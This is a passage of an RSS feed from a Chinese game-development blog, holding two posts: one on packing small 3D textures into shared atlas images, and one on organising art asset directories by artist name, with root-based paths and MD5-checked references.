的比较上的层次，不用关心需要用的贴图在哪里，在哪张图片上的哪个区域。这样做，就不用局限于相关的图放在一张物理的图片上，可以由工具任意分割打包组合。固然，不相干的贴图过于零碎的逻辑贴图分散在不同的物理图片上，会降低效率。但这个问题就和内存分配器的实现中，内存碎片的问题一样，是不可避免但却可以有诸多方法来改善的。其实 DirectX 本就充当了一个显存管理器的工作。我们做的只是在这种基于动态的管理模式上再加一层事前的开发期优化而已。实现的方法很简单，用一个文本文件描述另一个图片文件的区域即可。engine 只需要把这个文件当作一个逻辑贴图打开解析。至于物理图片文件的管理，交给资源管理模块即可。而这个文件的生成和管理，就得另写一个工具了。能写出优秀的图片自动组合工具固然好，如果没有也可以退而求其次，做一个可以给人像搭积木一样的拼图工具也可以。可以方便的让人来把零散的图片见缝插针的拼到一起，未尝不是一件趣事 相关博文2010年05月23日 -- 《高性能网站建设指南》读书笔记 (0)2008年10月17日 -- 服务器消息的广播 (0)2008年10月17日 -- 网络游戏中的货币系统 (0)2008年10月17日 -- 网络游戏的对时以及同步问题 (0)2008年10月17日 -- 以人为本，美术资源的归档 (0)2008年10月17日 -- 思维的惯性 (0)2008年10月17日 -- 游戏中的货币 (0)2008年10月17日 -- 游戏的帧率控制 (0)2008年10月17日 -- 游戏数值公式的表象与本质 (0)2011年06月29日 -- 资深设计师Tony Ventrice解析手机游戏开发的四个层次 (0)2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)2010年07月26日 -- ajax的缺点 (0)2008年10月17日 -- 用四叉树管理散布在平面上的对象 (0) 标签Tags：人, 图片, [...]]]></description>
			<content:encoded><![CDATA[<p>3d 游戏会用到大量的帖图，许多显卡要求贴图的尺寸必须是2的整数次方。这样，许多贴图的边角都会被浪费掉。尤其是大量无关的小贴图，我们通常想把他们合并在一张贴图上，尽量充满整个区域。<br/><br/>合并这些零碎贴图的算法，在学术上被称为排料问题。我尚未找到特别好的解决方法，所以这里就不展开写了。这里想讨论的是这些小贴图的管理。<br/><br/>我们现在的思路是，在engine 的比较上的层次，不用关心需要用的贴图在哪里，在哪张图片上的哪个区域。这样做，就不用局限于相关的图放在一张物理的图片上，可以由工具任意分割打包组合。固然，不相干的贴图过于零碎的逻辑贴图分散在不同的物理图片上，会降低效率。但这个问题就和内存分配器的实现中，内存碎片的问题一样，是不可避免但却可以有诸多方法来改善的。<br/><br/>其实 DirectX 本就充当了一个显存管理器的工作。我们做的只是在这种基于动态的管理模式上再加一层事前的开发期优化而已。<br/><br/>实现的方法很简单，用一个文本文件描述另一个图片文件的区域即可。engine 只需要把这个文件当作一个逻辑贴图打开解析。至于物理图片文件的管理，交给资源管理模块即可。<br/><br/>而这个文件的生成和管理，就得另写一个工具了。能写出优秀的图片自动组合工具固然好，如果没有也可以退而求其次，做一个可以给人像搭积木一样的拼图工具也可以。可以方便的让人来把零散的图片见缝插针的拼到一起，未尝不是一件趣事 <img src='http://www.5bay.cn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html" title="《高性能网站建设指南》读书笔记">《高性能网站建设指南》读书笔记</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%B6%88%E6%81%AF%E7%9A%84%E5%B9%BF%E6%92%AD.html" title="服务器消息的广播">服务器消息的广播</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E7%BD%91%E7%BB%9C%E6%B8%B8%E6%88%8F%E4%B8%AD%E7%9A%84%E8%B4%A7%E5%B8%81%E7%B3%BB%E7%BB%9F.html" title="网络游戏中的货币系统">网络游戏中的货币系统</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E7%BD%91%E7%BB%9C%E6%B8%B8%E6%88%8F%E7%9A%84%E5%AF%B9%E6%97%B6%E4%BB%A5%E5%8F%8A%E5%90%8C%E6%AD%A5%E9%97%AE%E9%A2%98.html" title="网络游戏的对时以及同步问题">网络游戏的对时以及同步问题</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E4%BB%A5%E4%BA%BA%E4%B8%BA%E6%9C%AC%EF%BC%8C%E7%BE%8E%E6%9C%AF%E8%B5%84%E6%BA%90%E7%9A%84%E5%BD%92%E6%A1%A3.html" title="以人为本，美术资源的归档">以人为本，美术资源的归档</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%80%9D%E7%BB%B4%E7%9A%84%E6%83%AF%E6%80%A7.html" title="思维的惯性">思维的惯性</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E4%B8%AD%E7%9A%84%E8%B4%A7%E5%B8%81.html" title="游戏中的货币">游戏中的货币</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E7%9A%84%E5%B8%A7%E7%8E%87%E6%8E%A7%E5%88%B6.html" title="游戏的帧率控制">游戏的帧率控制</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E6%95%B0%E5%80%BC%E5%85%AC%E5%BC%8F%E7%9A%84%E8%A1%A8%E8%B1%A1%E4%B8%8E%E6%9C%AC%E8%B4%A8.html" title="游戏数值公式的表象与本质">游戏数值公式的表象与本质</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/game-development/zishenshejishitonyventricejiexishoujiyouxikaifadesigecengci.html" title="资深设计师Tony Ventrice解析手机游戏开发的四个层次">资深设计师Tony Ventrice解析手机游戏开发的四个层次</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E7%94%A8%E5%9B%9B%E5%8F%89%E6%A0%91%E7%AE%A1%E7%90%86%E6%95%A3%E5%B8%83%E5%9C%A8%E5%B9%B3%E9%9D%A2%E4%B8%8A%E7%9A%84%E5%AF%B9%E8%B1%A1.html" title="用四叉树管理散布在平面上的对象">用四叉树管理散布在平面上的对象</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E5%9B%BE%E7%89%87" title="图片" rel="tag">图片</a>, <a href="http://www.5bay.cn/tag/%E5%B7%A5%E5%85%B7" title="工具" rel="tag">工具</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E6%B8%B8%E6%88%8F" title="游戏" rel="tag">游戏</a>, <a href="http://www.5bay.cn/category/game-development" title="游戏开发" rel="tag">游戏开发</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95" title="解决方法" rel="tag">解决方法</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/game-development/%E8%B4%B4%E5%9B%BE%E7%9A%84%E5%90%88%E5%B9%B6.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>以人为本，美术资源的归档</title>
		<link>http://www.5bay.cn/game-development/%E4%BB%A5%E4%BA%BA%E4%B8%BA%E6%9C%AC%EF%BC%8C%E7%BE%8E%E6%9C%AF%E8%B5%84%E6%BA%90%E7%9A%84%E5%BD%92%E6%A1%A3.html</link>
		<comments>http://www.5bay.cn/game-development/%E4%BB%A5%E4%BA%BA%E4%B8%BA%E6%9C%AC%EF%BC%8C%E7%BE%8E%E6%9C%AF%E8%B5%84%E6%BA%90%E7%9A%84%E5%BD%92%E6%A1%A3.html#comments</comments>
		<pubDate>Fri, 17 Oct 2008 17:19:21 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[游戏开发]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[搜索]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[游戏]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[设计]]></category>
		<category><![CDATA[链接]]></category>

		<guid isPermaLink="false">?p=297</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/game-development/%E4%BB%A5%E4%BA%BA%E4%B8%BA%E6%9C%AC%EF%BC%8C%E7%BE%8E%E6%9C%AF%E8%B5%84%E6%BA%90%E7%9A%84%E5%BD%92%E6%A1%A3.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>游戏的 client 最文件数量最多，数据量最大的，往往是美术资源。（几乎所有的商业游戏都会在游戏发布时对资源文件打包，我们这里讨论的是开发期未打包的文件）当一个游戏的规模大到一定时，我们需要调动巨量的美术人力来制作这些资源。伴随着游戏规模和制作团队的扩大，设计资源文件的存放目录结构和文件命名规则往往成了项目一开始的头等大事。2d 游戏这个问题稍微轻一点，3d 游戏更是有模型，贴图，骨骼等等的文件关联性在里面。这次我们的 3d 项目，让我又一次面对和思考这个问题。如果公司有多个成熟的类似项目，整个美术的制作流程被流水线化了。那么久而久之，自然有一套目录结构和命名规则的规范可以遵守。但是由于项目的多变性，而技术的改良，这个规范也不是一成不变的。这里说的技术，不能狭义的看成是 3d 渲染技术。关于资源的管理，复用等也是 3d engine 技术的一部分。最近的一段思考，让我觉得，强制的目录结构在制作流程流水线化的同时，带来了极大的不便。很少有美术会在制作工程中严格遵守目录结构和文件命名规则。实际上，都是最后将文件按规范复制到指定的位置。这和我们程序可以自然的在 cvs 或 svn 下在仓库的一支下工作是不太一样的。而我们 client 在运行时调度资源时，大多不太关心文件在目录结构中的实际位置，而更关心的是相关文件的互相关联关系。而资源文件的打包，完全可以丢失所有文件名和路径信息，给文件赋予唯一 id ，再记录下发生关联的文件的关联信息就够了。所以，原始的文件目录结构状态和文件名的规范，并非必要的。我们现在采用的方法是，给资源文件定一个 root ，定位方法可以效仿 bjam 。bjam 在 root 目录下放置一个特殊文件名的文件叫 project-root.jam 。任何一个文件需要描述一个关联文件的时候，都先逐级向上找到 root 的位置，然后关联文件均以 root 开始为路径记录位置。这种以 root 开始定位的方法，比相对当前路径定位有不少好处，这里不展开叙述。如果是小项目，一个美术来制作所有的资源，那么作为个人其实既然会按某种规范来组织文件。如果有几个人，我们可以每个人自己建一个以自己名字为名的资源路径，放在 root 下。如果需要引用别人的资源，尽可以通过同事的名字去找到。比如 B 的模型用到 A 的贴图，而 A 把贴图都放在他自己的 texture 目录下，那么 B 就可以链接 A/texture/xxx 去使用 A 的贴图。为了防止使用别人的资源，而得不到资源被删除或移动的通知。我们可以再每次引用文件时，同时记录下被引用文件的 MD5 。在产品发布，资源打包时，去掉这些校验信息即可。这样，资源路径下，第一级目录则是每个制作会维护人的名字作为索引。再往下才是更细的分类。每个人可以拥有不同的分类方案。每个人维护自己的作品，这是一种人性化的做法。把最终发布版的资源管理，交给文件打包和操控的模块吧，它们将把以原始字符串映射(目录/文件名)的资源改变成另一种更为高效的资源检索方式。我想这也是 google 搜索替代以前 [...]]]></description>
			<content:encoded><![CDATA[<p>游戏的 client 最文件数量最多，数据量最大的，往往是美术资源。（几乎所有的商业游戏都会在游戏发布时对资源文件打包，我们这里讨论的是开发期未打包的文件）当一个游戏的规模大到一定时，我们需要调动巨量的美术人力来制作这些资源。伴随着游戏规模和制作团队的扩大，设计资源文件的存放目录结构和文件命名规则往往成了项目一开始的头等大事。<br/><br/>2d 游戏这个问题稍微轻一点，3d 游戏更是有模型，贴图，骨骼等等的文件关联性在里面。这次我们的 3d 项目，让我又一次面对和思考这个问题。<br/><br/>如果公司有多个成熟的类似项目，整个美术的制作流程被流水线化了。那么久而久之，自然有一套目录结构和命名规则的规范可以遵守。但是由于项目的多变性，而技术的改良，这个规范也不是一成不变的。<br/><br/>这里说的技术，不能狭义的看成是 3d 渲染技术。关于资源的管理，复用等也是 3d engine 技术的一部分。<br/><span id="more-297"></span><br/>最近的一段思考，让我觉得，强制的目录结构在制作流程流水线化的同时，带来了极大的不便。很少有美术会在制作工程中严格遵守目录结构和文件命名规则。实际上，都是最后将文件按规范复制到指定的位置。这和我们程序可以自然的在 cvs 或 svn 下在仓库的一支下工作是不太一样的。<br/><br/>而我们 client 在运行时调度资源时，大多不太关心文件在目录结构中的实际位置，而更关心的是相关文件的互相关联关系。而资源文件的打包，完全可以丢失所有文件名和路径信息，给文件赋予唯一 id ，再记录下发生关联的文件的关联信息就够了。所以，原始的文件目录结构状态和文件名的规范，并非必要的。<br/><br/>我们现在采用的方法是，给资源文件定一个 root ，定位方法可以效仿 bjam 。bjam 在 root 目录下放置一个特殊文件名的文件叫 project-root.jam 。任何一个文件需要描述一个关联文件的时候，都先逐级向上找到 root 的位置，然后关联文件均以 root 开始为路径记录位置。这种以 root 开始定位的方法，比相对当前路径定位有不少好处，这里不展开叙述。<br/><br/>如果是小项目，一个美术来制作所有的资源，那么作为个人其实既然会按某种规范来组织文件。如果有几个人，我们可以每个人自己建一个以自己名字为名的资源路径，放在 root 下。如果需要引用别人的资源，尽可以通过同事的名字去找到。比如 B 的模型用到 A 的贴图，而 A 把贴图都放在他自己的 texture 目录下，那么 B 就可以链接 A/texture/xxx 去使用 A 的贴图。为了防止使用别人的资源，而得不到资源被删除或移动的通知。我们可以再每次引用文件时，同时记录下被引用文件的 MD5 。在产品发布，资源打包时，去掉这些校验信息即可。<br/><br/>这样，资源路径下，第一级目录则是每个制作会维护人的名字作为索引。再往下才是更细的分类。每个人可以拥有不同的分类方案。每个人维护自己的作品，这是一种人性化的做法。<br/><br/>把最终发布版的资源管理，交给文件打包和操控的模块吧，它们将把以原始字符串映射(目录/文件名)的资源改变成另一种更为高效的资源检索方式。我想这也是 <a href="http://www.5bay.cn/tag/google" class="st_tag internal_tag" rel="tag" title="标签 google 下的日志">google</a> 搜索替代以前 yahoo 式网络分类目录的一种精神的体现 <img src='http://www.5bay.cn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  至于具体的方案，和待解决的问题，这里就不再细说了。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E4%B8%AD%E7%9A%84%E8%B4%A7%E5%B8%81.html" title="游戏中的货币">游戏中的货币</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%80%9D%E7%BB%B4%E7%9A%84%E6%83%AF%E6%80%A7.html" title="思维的惯性">思维的惯性</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html" title="数据服务器的设计">数据服务器的设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%B6%88%E6%81%AF%E7%9A%84%E5%B9%BF%E6%92%AD.html" title="服务器消息的广播">服务器消息的广播</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/game-development/zishenshejishitonyventricejiexishoujiyouxikaifadesigecengci.html" title="资深设计师Tony Ventrice解析手机游戏开发的四个层次">资深设计师Tony Ventrice解析手机游戏开发的四个层次</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E7%94%A8%E5%9B%9B%E5%8F%89%E6%A0%91%E7%AE%A1%E7%90%86%E6%95%A3%E5%B8%83%E5%9C%A8%E5%B9%B3%E9%9D%A2%E4%B8%8A%E7%9A%84%E5%AF%B9%E8%B1%A1.html" title="用四叉树管理散布在平面上的对象">用四叉树管理散布在平面上的对象</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/google" title="google" rel="tag">google</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E6%90%9C%E7%B4%A2" title="搜索" rel="tag">搜索</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E6%B8%B8%E6%88%8F" title="游戏" rel="tag">游戏</a>, <a href="http://www.5bay.cn/category/game-development" title="游戏开发" rel="tag">游戏开发</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/%E8%AE%BE%E8%AE%A1" title="设计" rel="tag">设计</a>, <a href="http://www.5bay.cn/tag/%E9%93%BE%E6%8E%A5" title="链接" rel="tag">链接</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/game-development/%E4%BB%A5%E4%BA%BA%E4%B8%BA%E6%9C%AC%EF%BC%8C%E7%BE%8E%E6%9C%AF%E8%B5%84%E6%BA%90%E7%9A%84%E5%BD%92%E6%A1%A3.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

